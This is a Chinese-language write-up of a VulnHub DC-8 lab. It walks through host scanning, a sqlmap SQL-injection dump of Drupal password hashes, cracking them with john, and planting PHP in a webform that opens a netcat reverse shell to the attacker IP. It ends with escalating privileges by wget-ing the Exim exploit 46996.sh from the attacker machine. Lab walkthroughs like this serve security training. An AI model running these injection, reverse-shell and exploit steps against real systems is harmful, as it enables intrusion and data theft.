DC-8
环境搭建
- 靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/
- 需要将靶机和 kali 攻击机放在同一个局域网里;
- 本实验kali 的 IP 地址:192.168.10.146。
渗透测试
使用 nmap 扫描 192.168.10.0/24 网段存活主机
┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24
经判断,目标主机IP地址为192.168.10.154。
扫描开放的服务。
┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.154
经测试,这里是存在sql注入的,并且是数字型注入。
http://192.168.10.154/?nid=2-1
http://192.168.10.154/?nid=1 order by 1 // 只有一个字段
直接上sqlmap
// 获取库
sqlmap -u "http://192.168.10.154/?nid=1" -p nid --dbs
// 获取表
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db --tables
// 获取列
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db -T users --columns
// 获取数据
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db -T users -C name,pass
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
使用john工具对密码进行解密
┌──(root💀kali)-[~/桌面]
└─# vim a.txt // 将密文放入文件
┌──(root💀kali)-[~/桌面]
└─# john a.txt // 开始解密
解出john的密码为 turtle。
进行后台目录扫描。
http://192.168.10.154:80/user/
是一个登录页。
输入刚才破解出的密码登录,可以登录成功。
寻找网站漏洞。在Contact US — Webform — Form setting处存在远程代码执行。
写入代码之后,随意提交些内容
写入的代码会执行。
写入建立反弹shell的代码。
<?php
system("nc -e /bin/bash 192.168.10.146 4444");
?>
成功获取到反弹shell。
开始提权
查找带suid的文件
发现 exim4带有suid权限。
- Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。
搜索exim 相关的exp
┌──(root💀kali)-[~/桌面]
└─# searchsploit exim
查看脚本使用方式:一共两种使用方式
将脚本复制到kali网站根目录
┌──(root💀kali)-[~/桌面]
└─# cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html
然后再目标主机上,进入tmp目录,将46996.sh下载下来。
wget http://192.168.10.146/46996.sh
直接按用法的方式执行,提示Permission denied,需要添加权限。
再次执行:
www-data@dc-8:/tmp$ ./46996.sh -m setuid
www-data@dc-8:/tmp$ ./46996.sh -m netcat
提示:bash: ./46996.sh: /bin/bash^M: bad interpreter: No such file or directory
/bin/bash^M
这里看似多了一个^M
,
使用vi 查看下该脚本,可以发现,每一行后都有一个^M
。
www-data@dc-8:/tmp$ vi 46996.sh
📌在Windows下每一行结尾是\n\r,而Linux下则是\n,所以才会有 多出来的\r。
这就是说,把一个文件从一种系统移到另一种系统,就有换行符的麻烦。如:用 vi 来尝试编辑一个采用 MS-DOS 格式的文件,你将会发现每一行的末尾有个 ^M 字符。(^M 就是 )。
set ff=unix ,就是告诉 vi 编辑器,使用unix换行符
set ff=dos ,就是告诉 vi 编辑器,使用dos换行符
在末行模式下输入set ff=unix
。然后再重新下载。
添加权限,
www-data@dc-8:/tmp$ chmod 777 46996.sh
使用第一个方式提权失败~
./46996.sh -m setuid
./46996.sh -m netcat
顺利达到flag。
参考链接: